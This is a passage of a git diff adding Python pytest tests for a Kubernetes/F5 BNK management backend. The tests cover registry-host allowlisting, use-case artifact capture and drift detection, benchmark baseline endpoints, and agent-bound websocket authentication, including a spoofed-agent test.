["anything.example.com"]) # no raise + with pytest.raises(sc.SupplyChainPolicyError, match="not in the configured"): + sc.enforce_host_allowlist(db, ["anything.example.com"]) + # ...but a host on the shipped default still passes. + sc.enforce_host_allowlist(db, ["ghcr.io"]) # no raise + + def test_unset_and_raising_lookup_also_fail_closed(self, db): + with patch("services.execution.supply_chain.get_default", return_value=None): + with pytest.raises(sc.SupplyChainPolicyError): + sc.enforce_host_allowlist(db, ["anything.example.com"]) + with patch("services.execution.supply_chain.get_default", side_effect=RuntimeError("db down")): + with pytest.raises(sc.SupplyChainPolicyError): + sc.enforce_host_allowlist(db, ["anything.example.com"]) + sc.enforce_host_allowlist(db, ["quay.io"]) # shipped default still honoured + + def test_ingest_and_runtime_resolve_the_same_allowlist(self, db): + """The point of the shared resolver: the two readers cannot disagree.""" + from services.module_sync_service import ModuleSyncService + + for raw in ("", None, " ", "harbor.internal, ghcr.io "): + with patch("services.execution.supply_chain.get_default", return_value=raw): + runtime = sc.resolve_registry_host_allowlist(db) + ingest = set(ModuleSyncService(db)._registry_host_allowlist()) + assert runtime == ingest, f"readers disagree for raw={raw!r}: {runtime} vs {ingest}" + assert runtime, f"resolver returned an empty allowlist for raw={raw!r}" @pytest.mark.component diff --git a/backend/tests/component/test_usecase_artifact_service.py b/backend/tests/component/test_usecase_artifact_service.py new file mode 100644 index 00000000..db476465 --- /dev/null +++ b/backend/tests/component/test_usecase_artifact_service.py @@ -0,0 +1,254 @@ +""" +Component tests for services.usecase_artifact_service (capture, apply) and +services.k8s_drift_service.check_usecase_drift — mocked k8s client + real +(SQLite) DB session, mirroring tests/component/test_config_export_service.py. +""" + +from unittest.mock import MagicMock, patch + +import pytest + +from core.errors import BadRequestError, NotFoundError +from models import UseCaseArtifact, UseCaseArtifactVersion +from services.k8s_drift_service import check_usecase_drift +from services.usecase_artifact_service import apply_usecase_artifact, capture_usecase_artifact + + +def _vlan(name: str, selfips: list[str], namespace: str = "spk") -> dict: + return { + "kind": "F5SPKVlan", + "apiVersion": "k8s.f5net.com/v1", + "metadata": {"name": name, "namespace": namespace}, + "spec": {"selfip_v4s": selfips}, + } + + +class TestCaptureUsecaseArtifact: + """Capture -> lift -> store an immutable version; re-capture is idempotent.""" + + @patch("services.usecase_artifact_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_capture_creates_artifact_and_version( + self, mock_k8s, mock_k8s_svc, mock_fetch, db, make_k8s_cluster, make_project, + ): + project = make_project(name="uc-proj") + cluster = make_k8s_cluster(project=project, name="uc-cluster") + mock_fetch.return_value = [_vlan("vlan1", ["10.0.0.1/24"])] + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + + version, created = capture_usecase_artifact(db, cluster.id, name="east-west", version="v1") + db.flush() + + assert created is True + assert version.version == "v1" + assert version.source == "captured_from_cluster" + assert version.source_cluster_id == cluster.id + assert version.cr_templates[0]["spec"]["selfip_v4s"] == "${selfip_v4s}" + assert version.param_schema[0]["key"] == "selfip_v4s" + + artifact = db.query(UseCaseArtifact).filter(UseCaseArtifact.id == version.artifact_id).first() + assert artifact.name == "east-west" + + @patch("services.usecase_artifact_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_recapture_unchanged_shape_returns_existing_version( + self, mock_k8s, mock_k8s_svc, mock_fetch, db, make_k8s_cluster, make_project, + ): + project = make_project(name="uc-proj-2") + cluster = make_k8s_cluster(project=project, name="uc-cluster-2") + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + + mock_fetch.return_value = [_vlan("vlan1", ["10.0.0.1/24"])] + first, created_first = capture_usecase_artifact(db, cluster.id, name="east-west", version="v1") + db.flush() + + # Same shape, different concrete selfip — must dedupe to the SAME version. + mock_fetch.return_value = [_vlan("vlan1", ["192.168.5.5/24"])] + second, created_second = capture_usecase_artifact(db, cluster.id, name="east-west", version="v2") + + assert created_first is True + assert created_second is False + assert second.id == first.id + + @patch("services.usecase_artifact_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_changed_shape_creates_new_version( + self, mock_k8s, mock_k8s_svc, mock_fetch, db, make_k8s_cluster, make_project, + ): + project = make_project(name="uc-proj-3") + cluster = make_k8s_cluster(project=project, name="uc-cluster-3") + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + + mock_fetch.return_value = [_vlan("vlan1", ["10.0.0.1/24"])] + first, _ = capture_usecase_artifact(db, cluster.id, name="east-west", version="v1") + db.flush() + + mock_fetch.return_value = [_vlan("vlan1", ["10.0.0.1/24"]), _vlan("vlan2", ["10.0.0.2/24"])] + second, created = capture_usecase_artifact(db, cluster.id, name="east-west", version="v2") + + assert created is True + assert second.id != first.id + assert second.version == "v2" + + def test_cluster_not_found_raises(self, db): + with pytest.raises(NotFoundError): + capture_usecase_artifact(db, 99999, name="east-west", version="v1") + + +class TestApplyUsecaseArtifact: + """Apply renders concrete CRs and calls the shared apply_resources write path.""" + + @patch("services.config_export_service.apply_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_apply_calls_shared_write_path_with_rendered_crs( + self, mock_k8s, mock_k8s_svc, mock_apply, db, make_k8s_cluster, make_project, + ): + project = make_project(name="uc-proj-4") + cluster = make_k8s_cluster(project=project, name="uc-cluster-4") + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + mock_apply.return_value = {"applied": [{"kind": "F5SPKVlan"}], "failed": [], "skipped": []} + + artifact = UseCaseArtifact(name="east-west") + db.add(artifact) + db.flush() + version = UseCaseArtifactVersion( + artifact_id=artifact.id, + version="v1", + cr_templates=[_vlan("vlan1", "${selfip_v4s}")], + param_schema=[{ + "key": "selfip_v4s", "type": "ip", "kind": "assigned", "is_list": True, + "required": True, "source_paths": [{"kind": "F5SPKVlan", "jsonpath": "spec.selfip_v4s"}], + }], + source="captured_from_cluster", + source_cluster_id=cluster.id, + content_hash="abc123", + ) + db.add(version) + db.flush() + + results, application = apply_usecase_artifact(db, cluster, version, {"selfip_v4s": ["10.9.9.9/24"]}) + + assert results["applied"] == [{"kind": "F5SPKVlan"}] + mock_apply.assert_called_once() + called_resources = mock_apply.call_args[0][3] + assert called_resources["bnk_data_plane"][0]["spec"]["selfip_v4s"] == ["10.9.9.9/24"] + + assert application.artifact_version_id == version.id + assert application.cluster_id == cluster.id + assert application.param_values == {"selfip_v4s": ["10.9.9.9/24"]} + + def test_apply_missing_required_param_raises_before_touching_k8s(self, db, make_k8s_cluster, make_project): + project = make_project(name="uc-proj-5") + cluster = make_k8s_cluster(project=project, name="uc-cluster-5") + + artifact = UseCaseArtifact(name="east-west-2") + db.add(artifact) + db.flush() + version = UseCaseArtifactVersion( + artifact_id=artifact.id, + version="v1", + cr_templates=[_vlan("vlan1", "${selfip_v4s}")], + param_schema=[{ + "key": "selfip_v4s", "type": "ip", "kind": "assigned", "is_list": True, + "required": True, "source_paths": [{"kind": "F5SPKVlan", "jsonpath": "spec.selfip_v4s"}], + }], + source="captured_from_cluster", + source_cluster_id=cluster.id, + content_hash="def456", + ) + db.add(version) + db.flush() + + with pytest.raises(BadRequestError): + apply_usecase_artifact(db, cluster, version, {}) + + +class TestCheckUsecaseDrift: + """Drift closes the k8s_drift desired-state stub — real _diff_dicts, not 'not available'.""" + + def _make_version(self, db, cluster_id): + artifact = UseCaseArtifact(name="drift-artifact") + db.add(artifact) + db.flush() + version = UseCaseArtifactVersion( + artifact_id=artifact.id, + version="v1", + cr_templates=[_vlan("vlan1", "${selfip_v4s}")], + param_schema=[{ + "key": "selfip_v4s", "type": "ip", "kind": "assigned", "is_list": True, + "required": True, "source_paths": [{"kind": "F5SPKVlan", "jsonpath": "spec.selfip_v4s"}], + }], + source="captured_from_cluster", + source_cluster_id=cluster_id, + content_hash="ghi789", + ) + db.add(version) + db.flush() + return version + + @patch("services.config_export_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_no_drift_when_actual_matches_rendered( + self, mock_k8s, mock_k8s_svc, mock_fetch, db, make_k8s_cluster, make_project, + ): + project = make_project(name="uc-proj-6") + cluster = make_k8s_cluster(project=project, name="uc-cluster-6") + version = self._make_version(db, cluster.id) + + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + mock_fetch.return_value = [_vlan("vlan1", ["10.9.9.9/24"])] + + result = check_usecase_drift(db, cluster, version, {"selfip_v4s": ["10.9.9.9/24"]}) + + assert result["drift_detected"] is False + assert result["resource_changes"]["ok"] == 1 + assert result["resource_changes"]["change"] == 0 + + @patch("services.config_export_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_drift_detected_when_actual_selfip_differs( + self, mock_k8s, mock_k8s_svc, mock_fetch, db, make_k8s_cluster, make_project, + ): + project = make_project(name="uc-proj-7") + cluster = make_k8s_cluster(project=project, name="uc-cluster-7") + version = self._make_version(db, cluster.id) + + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + mock_fetch.return_value = [_vlan("vlan1", ["192.168.99.99/24"])] + + result = check_usecase_drift(db, cluster, version, {"selfip_v4s": ["10.9.9.9/24"]}) + + assert result["drift_detected"] is True + assert result["resource_changes"]["change"] == 1 + assert result["changed_resources"][0]["diffs"][0]["path"] == "spec.selfip_v4s[0]" + + @patch("services.config_export_service._fetch_resources") + @patch("services.kubernetes_service.KubernetesService") + @patch("kubernetes.client") + def test_drift_detected_when_resource_missing_on_cluster( + self, mock_k8s, mock_k8s_svc, mock_fetch, db, make_k8s_cluster, make_project, + ): + project = make_project(name="uc-proj-8") + cluster = make_k8s_cluster(project=project, name="uc-cluster-8") + version = self._make_version(db, cluster.id) + + mock_k8s_svc.return_value.load_kubeconfig.return_value = MagicMock() + mock_k8s.CustomObjectsApi.return_value = MagicMock() + mock_fetch.return_value = [] + + result = check_usecase_drift(db, cluster, version, {"selfip_v4s": ["10.9.9.9/24"]}) + + assert result["drift_detected"] is True + assert result["resource_changes"]["add"] == 1 diff --git a/backend/tests/conftest.py b/backend/tests/conftest.py index cef1d4b1..01a836d8 100644 --- a/backend/tests/conftest.py +++ b/backend/tests/conftest.py @@ -83,6 +83,29 @@ def _set_sqlite_pragma(dbapi_conn, _connection_record): eng.dispose() +@pytest.fixture(autouse=True) +def _reset_reachability_breakers(): + """Isolate the reachability circuit-breaker registry between tests (#55). + + Autouse -- NOT tied to the ``db`` fixture -- because a unit test can trip a + breaker without touching the database, and the next test would inherit it. + The registry is a process-global singleton keyed by (target_type, + target_id); a breaker tripped OPEN by one test otherwise short-circuits + every later test reusing that id with BreakerOpenError. Order-dependent + failures that only appear in a monolithic ``pytest tests/`` run, never in + CI's per-suite processes -- which is exactly why they went unnoticed. + + Reset before AND after: before, so a test never inherits state from a + predecessor that failed mid-way; after, so a test's own trips don't + outlive it even if a later fixture errors. + """ + from services.reachability.registry import registry + + registry.reset_breaker_state() + yield + registry.reset_breaker_state() + + @pytest.fixture() def db(engine): """ diff --git a/backend/tests/contract/test_deployable_release_contracts.py b/backend/tests/contract/test_deployable_release_contracts.py new file mode 100644 index 00000000..c68ef453 --- /dev/null +++ b/backend/tests/contract/test_deployable_release_contracts.py @@ -0,0 +1,121 @@ +""" +Golden contract tests — BNK deployable release endpoints (ADR-478). + +Validates that the /api/bare-metal/deployable-releases routes return +responses that parse cleanly against the declared Pydantic schemas. +""" + +import pytest + +from models.bnk_deployable_release import BnkDeployableRelease +from schemas.bare_metal import DeployableReleaseListResponse, DeployableReleaseResponse +from services.bare_metal.version_profiles import BNK_22_PROFILE, BNK_231_RELEASE + + +@pytest.fixture() +def seed_releases(db): + """Seed two deployable releases for contract shape tests.""" + r1 = BnkDeployableRelease(**BNK_22_PROFILE) + r2 = BnkDeployableRelease(**BNK_231_RELEASE) + db.add_all([r1, r2]) + db.commit() + db.refresh(r1) + db.refresh(r2) + return [r1, r2] + + +class TestDeployableReleaseListContract: + """GET /api/bare-metal/deployable-releases returns DeployableReleaseListResponse shape.""" + + def test_list_response_shape(self, client, admin_headers, sample_user, seed_releases): + """L1: Response parses as DeployableReleaseListResponse.""" + response = client.get("/api/bare-metal/deployable-releases", headers=admin_headers) + assert response.status_code == 200 + + data = response.json() + parsed = DeployableReleaseListResponse.model_validate(data) + + assert len(parsed.releases) == 2 + names = {r.name for r in parsed.releases} + assert "bnk-2.2" in names + assert "bnk-2.3.1" in names + + def test_list_release_fields_present(self, client, admin_headers, sample_user, seed_releases): + """L2: Each release object contains all required fields.""" + response = client.get("/api/bare-metal/deployable-releases", headers=admin_headers) + assert response.status_code == 200 + + data = response.json() + assert "releases" in data + release = data["releases"][0] + + required_fields = { + "id", "name", "display_name", "is_default", "is_active", + "source_type", "bnk_release_id", "bnk_manifest_version", + "bnk_cr_kind", "flo_version", "k8s_version", "doca_version", + "cert_manager_version", "created_at", + } + for field in required_fields: + assert field in release, f"Missing field: {field}" + + def test_viewer_can_list(self, client, admin_headers, sample_user): + """Viewer role can access the list endpoint.""" + response = client.get("/api/bare-metal/deployable-releases", headers=admin_headers) + assert response.status_code == 200 + + def test_unauthenticated_list_rejected(self, client): + """Unauthenticated request is rejected.""" + response = client.get("/api/bare-metal/deployable-releases") + assert response.status_code in (401, 403) + + +class TestDeployableReleaseGetContract: + """GET /api/bare-metal/deployable-releases/{id} returns DeployableReleaseResponse shape.""" + + def test_get_response_shape(self, client, admin_headers, sample_user, seed_releases): + """Single-release endpoint parses as DeployableReleaseResponse.""" + release_id = seed_releases[0].id + response = client.get(f"/api/bare-metal/deployable-releases/{release_id}", headers=admin_headers) + assert response.status_code == 200 + + data = response.json() + parsed = DeployableReleaseResponse.model_validate(data) + + assert parsed.id == release_id + assert isinstance(parsed.is_active, bool) + assert isinstance(parsed.source_type, str) + + def test_get_not_found(self, client, admin_headers, sample_user): + """Non-existent release returns 404.""" + response = client.get("/api/bare-metal/deployable-releases/99999", headers=admin_headers) + assert response.status_code == 404 + + +class TestDeployableReleaseAdminContract: + """Admin mutations require admin role and return the correct shape.""" + + def test_activate_requires_admin(self, client, admin_headers, sample_user, seed_releases): + """POST activate succeeds for admin.""" + release_id = seed_releases[0].id + response = client.post( + f"/api/bare-metal/deployable-releases/{release_id}/activate", + json={"is_active": True}, + headers=admin_headers, + ) + assert response.status_code == 200 + data = response.json() + parsed = DeployableReleaseResponse.model_validate(data) + assert parsed.is_active is True + + def test_set_default_requires_admin(self, client, admin_headers, sample_user, seed_releases): + """POST set-default succeeds for admin and enforces single-default.""" + release_id = seed_releases[1].id # bnk-2.3.1 + response = client.post( + f"/api/bare-metal/deployable-releases/{release_id}/set-default", + headers=admin_headers, + ) + assert response.status_code == 200 + data = response.json() + parsed = DeployableReleaseResponse.model_validate(data) + assert parsed.is_default is True + assert parsed.name == "bnk-2.3.1" diff --git a/backend/tests/integration/test_routes_benchmarks.py b/backend/tests/integration/test_routes_benchmarks.py index 46e6c4e7..33b22749 100644 --- a/backend/tests/integration/test_routes_benchmarks.py +++ b/backend/tests/integration/test_routes_benchmarks.py @@ -27,6 +27,8 @@ import pytest +pytestmark = pytest.mark.full + from models import User from models.benchmark import ( BenchmarkAgent, @@ -241,10 +243,11 @@ def test_happy_path(self, client, operator_headers, db): assert data["model"] == "tinyllama" assert data["status"] == "completed" - def test_requires_valid_token(self, client, db): - """Global auth middleware rejects unauthenticated requests.""" + def test_requires_valid_token(self, client, db, monkeypatch): + """When BENCHMARK_AGENT_AUTH_REQUIRED is ON, unauthenticated requests are rejected.""" + monkeypatch.setattr("routes.benchmarks.settings.BENCHMARK_AGENT_AUTH_REQUIRED", True) resp = client.post("/api/benchmarks/results", json=_result_push_payload()) - assert resp.status_code == 401 + assert resp.status_code in (400, 401) def test_response_contract(self, client, operator_headers, db): resp = client.post("/api/benchmarks/results", json=_result_push_payload(), headers=operator_headers) @@ -285,9 +288,10 @@ def test_happy_path(self, client, operator_headers, db): assert data["model"] == "tinyllama" assert data["status"] == "completed" - def test_requires_valid_token(self, client, db): + def test_requires_valid_token(self, client, db, monkeypatch): + monkeypatch.setattr("routes.benchmarks.settings.BENCHMARK_AGENT_AUTH_REQUIRED", True) resp = client.post("/api/benchmarks/results/aiperf", json=_aiperf_raw_payload()) - assert resp.status_code == 401 + assert resp.status_code in (400, 401) def test_response_contract(self, client, operator_headers, db): resp = client.post("/api/benchmarks/results/aiperf", json=_aiperf_raw_payload(), headers=operator_headers) @@ -778,6 +782,74 @@ def test_not_found(self, client, operator_headers, db): assert resp.status_code == 404 +class TestSetBenchmarkRunBaseline: + """POST /api/benchmarks/runs/{run_id}/baseline (require_operator).""" + + def test_happy_path(self, client, operator_headers, db, make_k8s_cluster): + target = _make_target(db, cluster_id=make_k8s_cluster(name="baseline-happy-cluster").id) + run = _make_run(db, target_id=target.id, status="completed") + resp = client.post(f"/api/benchmarks/runs/{run.id}/baseline", headers=operator_headers) + assert resp.status_code == 200 + assert resp.json()["is_baseline"] is True + + def test_rejects_missing_target_id(self, client, operator_headers, db): + run = _make_run(db, status="completed") + resp = client.post(f"/api/benchmarks/runs/{run.id}/baseline", headers=operator_headers) + assert resp.status_code == 400 + assert resp.json()["error"]["code"] == "MISSING_TARGET_ID" + + def test_requires_valid_token(self, client, db): + run = _make_run(db, status="completed") + resp = client.post(f"/api/benchmarks/runs/{run.id}/baseline") + assert resp.status_code == 401 + + def test_replaces_previous_baseline_in_same_context(self, client, operator_headers, db, make_k8s_cluster): + target = _make_target(db, cluster_id=make_k8s_cluster(name="baseline-replace-cluster").id) + first = _make_run(db, target_id=target.id, status="completed") + second = _make_run(db, target_id=target.id, status="completed") + + resp1 = client.post(f"/api/benchmarks/runs/{first.id}/baseline", headers=operator_headers) + assert resp1.status_code == 200 + resp2 = client.post(f"/api/benchmarks/runs/{second.id}/baseline", headers=operator_headers) + assert resp2.status_code == 200 + + db.refresh(first) + db.refresh(second) + assert first.is_baseline is False + assert second.is_baseline is True + + def test_non_completed_run_returns_400(self, client, operator_headers, db, make_k8s_cluster): + target = _make_target(db, cluster_id=make_k8s_cluster(name="baseline-running-cluster").id) + run = _make_run(db, target_id=target.id, status="running") + resp = client.post(f"/api/benchmarks/runs/{run.id}/baseline", headers=operator_headers) + assert resp.status_code == 400 + + def test_not_found(self, client, operator_headers, db): + resp = client.post("/api/benchmarks/runs/99999/baseline", headers=operator_headers) + assert resp.status_code == 404 + + +class TestUnsetBenchmarkRunBaseline: + """DELETE /api/benchmarks/runs/{run_id}/baseline (require_operator).""" + + def test_happy_path(self, client, operator_headers, db, make_k8s_cluster): + target = _make_target(db, cluster_id=make_k8s_cluster(name="unset-baseline-cluster").id) + run = _make_run(db, target_id=target.id, status="completed") + client.post(f"/api/benchmarks/runs/{run.id}/baseline", headers=operator_headers) + resp = client.delete(f"/api/benchmarks/runs/{run.id}/baseline", headers=operator_headers) + assert resp.status_code == 200 + assert resp.json()["is_baseline"] is False + + def test_requires_valid_token(self, client, db): + run = _make_run(db, status="completed") + resp = client.delete(f"/api/benchmarks/runs/{run.id}/baseline") + assert resp.status_code == 401 + + def test_not_found(self, client, operator_headers, db): + resp = client.delete("/api/benchmarks/runs/99999/baseline", headers=operator_headers) + assert resp.status_code == 404 + + # ============================================================================ # 4. Agent Endpoints # ============================================================================ @@ -793,9 +865,10 @@ def test_happy_path(self, client, operator_headers, db): assert data["name"] == "new-agent" assert data["status"] == "connected" - def test_requires_valid_token(self, client, db): + def test_requires_valid_token(self, client, db, monkeypatch): + monkeypatch.setattr("routes.benchmarks.settings.BENCHMARK_AGENT_AUTH_REQUIRED", True) resp = client.post("/api/benchmarks/agents", json={"name": "noauth-agent"}) - assert resp.status_code == 401 + assert resp.status_code in (400, 401) def test_upsert_existing_agent(self, client, operator_headers, db): _make_agent(db, name="upsert-agent", hostname="old-host", status="disconnected") @@ -928,6 +1001,73 @@ def test_response_contract(self, client, viewer_headers, all_test_users, db): assert key in run_entry +class TestBenchmarkTrends: + """GET /api/benchmarks/trends (require_viewer).""" + + def test_happy_path(self, client, viewer_headers, all_test_users, db, make_k8s_cluster): + target = _make_target(db, cluster_id=make_k8s_cluster(name="trends-cluster").id) + _make_run(db, target_id=target.id, status="completed") + _make_run(db, target_id=target.id, status="completed") + + resp = client.get( + "/api/benchmarks/trends", + params={"target_id": target.id}, + headers=viewer_headers, + ) + assert resp.status_code == 200 + data = resp.json() + assert len(data["points"]) == 2 + assert data["baseline_run_id"] is None + + def test_requires_auth(self, client, db): + resp = client.get("/api/benchmarks/trends") + assert resp.status_code == 401 + + def test_filters_by_scenario_key(self, client, viewer_headers, all_test_users, db, make_k8s_cluster): + target = _make_target(db, cluster_id=make_k8s_cluster(name="trends-scenario-cluster").id) + matching = _make_run(db, target_id=target.id, status="completed", scenario_key="prefix-cache") + _make_run(db, target_id=target.id, status="completed", scenario_key="burst") + + resp = client.get( + "/api/benchmarks/trends", + params={"target_id": target.id, "scenario_key": "prefix-cache"}, + headers=viewer_headers, + ) + assert resp.status_code == 200 + data = resp.json() + assert [p["id"] for p in data["points"]] == [matching.id] + + def test_includes_baseline_flag(self, client, viewer_headers, operator_headers, all_test_users, db, make_k8s_cluster): + target = _make_target(db, cluster_id=make_k8s_cluster(name="trends-baseline-cluster").id) + run = _make_run(db, target_id=target.id, status="completed") + client.post(f"/api/benchmarks/runs/{run.id}/baseline", headers=operator_headers) + + resp = client.get( + "/api/benchmarks/trends", + params={"target_id": target.id}, + headers=viewer_headers, + ) + data = resp.json() + assert data["baseline_run_id"] == run.id + assert data["points"][0]["is_baseline"] is True + + def test_limit_out_of_bounds_returns_422(self, client, viewer_headers, all_test_users, db): + resp = client.get( + "/api/benchmarks/trends", + params={"limit": 501}, + headers=viewer_headers, + ) + assert resp.status_code == 422 + + def test_limit_below_minimum_returns_422(self, client, viewer_headers, all_test_users, db): + resp = client.get( + "/api/benchmarks/trends", + params={"limit": 0}, + headers=viewer_headers, + ) + assert resp.status_code == 422 + + class TestBenchmarkSummary: """GET /api/benchmarks/summary (require_viewer).""" @@ -2121,6 +2261,16 @@ def test_run_scenario_forbidsViewer(self, client, viewer_headers, all_test_users ) assert resp.status_code == 403 + def test_set_baseline_forbidsViewer(self, client, viewer_headers, all_test_users, db): + run = _make_run(db, status="completed") + resp = client.post(f"/api/benchmarks/runs/{run.id}/baseline", headers=viewer_headers) + assert resp.status_code == 403 + + def test_unset_baseline_forbidsViewer(self, client, viewer_headers, all_test_users, db): + run = _make_run(db, status="completed") + resp = client.delete(f"/api/benchmarks/runs/{run.id}/baseline", headers=viewer_headers) + assert resp.status_code == 403 + # ============================================================================ # 16. Cancel propagation across a run-group (C1) @@ -2203,21 +2353,39 @@ def test_invalid_token_rejected(self, client, all_test_users, db): def test_valid_token_accepts(self, client, all_test_users, db): from services.auth_service import create_access_token - token = create_access_token(data={"sub": "testoperator", "role": "operator"}) agent = _make_agent(db, name="ws-okauth-agent", status="connected") + # An agent-bound token, as _mint_agent_token issues. Since #142 (and + # BENCHMARK_AGENT_AUTH_REQUIRED now defaulting on, #148) the WS is + # identity-bound: the agent_id claim is mandatory and must match the path. + token = create_access_token(data={"sub": "ws-okauth-agent", "role": "agent", "agent_id": agent.id}) with client.websocket_connect(f"/ws/benchmarks/agents/{agent.id}?token={token}") as ws: ws.send_json({"type": "heartbeat", "status": "connected"}) # No exception means the handshake + accept succeeded. + def test_claimless_operator_token_rejected_on_ws(self, client, all_test_users, db): + """A human's operator token authenticates a person, not an agent. Since the + WS is identity-bound it must be refused (close 4401) -- an operator token + must not be able to connect as an arbitrary agent.""" + from services.auth_service import create_access_token + + token = create_access_token(data={"sub": "testoperator", "role": "operator"}) + agent = _make_agent(db, name="ws-human-token-agent", status="connected") + with pytest.raises(Exception): + with client.websocket_connect(f"/ws/benchmarks/agents/{agent.id}?token={token}"): + pass + def test_run_completed_from_wrong_agent_isIgnored(self, client, all_test_users, db): # Run is owned by agent A; agent B (authenticated) tries to report its result. # The ownership guard must skip the mutation — run stays RUNNING, not COMPLETED. from services.auth_service import create_access_token - token = create_access_token(data={"sub": "testoperator", "role": "operator"}) owner = _make_agent(db, name="ws-owner-agent", status="connected") attacker = _make_agent(db, name="ws-attacker-agent", status="connected") run = _make_run(db, status="running", agent_id=owner.id) + # The attacker holds a token legitimately bound to ITS OWN id -- so it + # passes the identity binding and reaches the ownership guard. That is + # what makes this a spoof test rather than an identity-mismatch test. + token = create_access_token(data={"sub": "ws-attacker-agent", "role": "agent", "agent_id": attacker.id}) with client.websocket_connect(f"/ws/benchmarks/agents/{attacker.id}?token={token}") as ws: ws.send_json({ diff --git a/backend/tests/integration/test_routes_blueprint_catalog.py b/backend/tests/integration/test_routes_blueprint_catalog.py index cf2ea033..06481dab 100644 --- a/backend/tests/integration/test_routes_blueprint_catalog.py +++ b/backend/tests/integration/test_routes_blueprint_catalog.py @@ -3,6 +3,8 @@ from datetime import UTC, datetime from unittest.mock import MagicMock, patch +from routes.blueprint_catalog import BlueprintSourceResponse + def _source_response(**overrides): base = { @@ -17,11 +19,17 @@ def _source_response(**overrides): "last_synced_at": None, "release_count": 0, "is_active": True, + # Computed by BlueprintCatalogService via is_default_blueprint_source() + # rather than stored on the model; required by BlueprintSourceResponse. + "is_default": False, "description": "Blueprint source", "created_at": datetime.now(UTC).isoformat(), "updated_at": datetime.now(UTC).isoformat(), } base.update(overrides) + # See #130: this helper feeds a fully-mocked service, so a field missing + # here only surfaces as a response-validation 500. Validate up front. + BlueprintSourceResponse.model_validate(base) return base diff --git a/backend/tests/integration/test_routes_drift.py b/backend/tests/integration/test_routes_drift.py index ff1620c4..d3b54512 100644 --- a/backend/tests/integration/test_routes_drift.py +++ b/backend/tests/integration/test_routes_drift.py @@ -572,11 +572,35 @@ def test_returns_cluster_drift_status( """Viewer can get drift status for modules deployed to a cluster.""" cluster = make_k8s_cluster(project=sample_project, name="drift-status-cluster") mock_svc = MagicMock() + # Return value must match ClusterDriftStatusResponse (response_model filters strictly). mock_svc.get_cluster_drift_status.return_value = { "cluster_id": cluster.id, - "modules": [ - {"module_id": 1, "drift_detected": False, "status": "clean"}, + "project_id": sample_project.id, + "drift_enabled": False, + "total_modules": 1, + "modules_with_drift": 0, + "modules_ok": 0, + "modules_unchecked": 1, + "overall_status": "unchecked", + "module_statuses": [ + { + "module_id": 1, + "module_name": "test-module", + "module_path": "modules/test", + "engine_type": "python", + "status": "unchecked", + "drift_detected": False, + "drift_summary": None, + "drift_details": None, + "last_check_at": None, + "check_id": None, + } ], + "release_drift": { + "status": "not_forge_deployed", + "deployed_release_id": None, + "running_release_id": None, + }, } mock_svc_cls.return_value = mock_svc @@ -587,5 +611,7 @@ def test_returns_cluster_drift_status( assert response.status_code == 200 data = response.json() assert data["cluster_id"] == cluster.id - assert len(data["modules"]) == 1 + assert data["total_modules"] == 1 + assert len(data["module_statuses"]) == 1 + assert data["release_drift"]["status"] == "not_forge_deployed" mock_svc.get_cluster_drift_status.assert_called_once_with(cluster.id) diff --git a/backend/tests/integration/test_routes_module_sources.py b/backend/tests/integration/test_routes_module_sources.py index da832b8f..af7d15ac 100644 --- a/backend/tests/integration/test_routes_module_sources.py +++ b/backend/tests/integration/test_routes_module_sources.py @@ -10,6 +10,8 @@ import pytest +from routes.module_sources import ModuleSourceResponse + def _make_source_response(**overrides): """Build a sample ModuleSourceResponse-compatible dict.""" @@ -36,6 +38,12 @@ def _make_source_response(**overrides): "sync_error": None, "module_count": 0, "is_active": True, + # Both computed by ModuleSourceService._serialize_source() rather than + # stored on the model. Mirrored here so the mocked service returns what + # the real one does -- is_default is required by ModuleSourceResponse, + # and omitting it made every test using this helper 500. + "is_default": False, + "credential_recommendation": None, "auto_sync": False, "sync_interval_hours": 24, "description": "Test module source", @@ -43,6 +51,11 @@ def _make_source_response(**overrides): "updated_at": datetime.now(UTC).isoformat(), } base.update(overrides) + # Fail here, in the helper, if the response schema gains a required field. + # These tests patch ModuleSourceService entirely, so a stale fixture is + # invisible until FastAPI rejects the response -- which is how is_default + # went unnoticed (#130). + ModuleSourceResponse.model_validate(base) return base diff --git a/backend/tests/integration/test_routes_project_deployments.py b/backend/tests/integration/test_routes_project_deployments.py index e1e7be05..727a59a9 100644 --- a/backend/tests/integration/test_routes_project_deployments.py +++ b/backend/tests/integration/test_routes_project_deployments.py @@ -55,6 +55,82 @@ def test_get_deployment_logs_with_data( assert data["logs"][0]["level"] == "info" assert data["logs"][0]["message"] == "Apply started" + def test_logs_fall_back_to_task_logs_when_no_deployment_log_rows( + self, client, admin_headers, sample_module, db + ): + """#154: every engine writes its step output to Task.logs, and only the + retry path writes DeploymentLog. So a module that just applied with real + output used to get 200 {"logs": []} from this endpoint -- indistinguishable + from "this step produced no output". Serve the task logs, and say so.""" + from models import Task + + mod = sample_module["module"] + task = Task( + project_id=mod.project_id, module_id=mod.id, task_type="apply", + status="completed", triggered_by="user", celery_task_id="cel-154", + logs="[00:01:32] $ docker run ghcr.io/x/runner roksbnkctl cleanup --dry-run\n" + "[00:01:33] → Scanning for f5orph-* resources in regions: us-east\n" + "[00:01:42] ✓ No orphaned resources found.", + ) + db.add(task) + db.commit() + + data = client.get(f"/api/project-modules/{mod.id}/logs", headers=admin_headers).json() + + assert data["source"] == "task" + assert data["task_id"] == task.id + assert data["total_logs"] == 3 + # Newest first, matching the DeploymentLog branch's timestamp.desc(). + assert "No orphaned resources found" in 